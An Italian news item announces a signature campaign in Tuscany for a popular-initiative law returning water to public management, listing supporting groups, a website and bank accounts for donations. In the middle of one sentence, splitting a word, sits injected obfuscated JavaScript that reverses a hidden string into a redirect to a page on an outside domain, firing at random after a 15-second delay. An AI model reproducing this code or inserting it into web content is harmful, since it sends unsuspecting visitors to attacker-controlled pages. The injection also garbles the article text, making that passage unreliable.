Firmare sull’acqua

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è iniziata la raccolta di firme per la proposta di legge di iniziativa
popolare che vuole la ri-pubblicizzazione dell’acqua. Per presentarla ci
vogliono 5.000 firme da raccogliere entro 6 mesi, ma i promotori puntano molto
più in alto e lanciano una vera e propria campagna per l’acqua bene comune.
Sono diverse le sigle che hanno aderito all’iniziativa, lanciata durante il
forum toscano di gennaio: dall’Arci a Legambiente, dalla Rete Lilliput a Mani
Tese, compresi alcuni gruppi politici. In altre regioni si stanno attiv (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando
iniziative simili.
Ma come si fa a firmare? Sul sito web www.leggepopolareacqua.it ci sarà un
calendario con le iniziative che ospiteranno un banchino per le firme. Per ora
non ci sono sedi fisse cui fare riferimento.
Attenzione: possono firmare solo gli elettori residenti in Toscana.
Per sostenere la campagna, si possono utilizzare il c/c bancario n. 114537 di
Banca popolare Etica (Abi 05018 Cab 02800) oppure il c/c n. 60521556 delle
poste (Abi 07601, Cab 02800). Per informazioni: info@leggepopolareacqua.it

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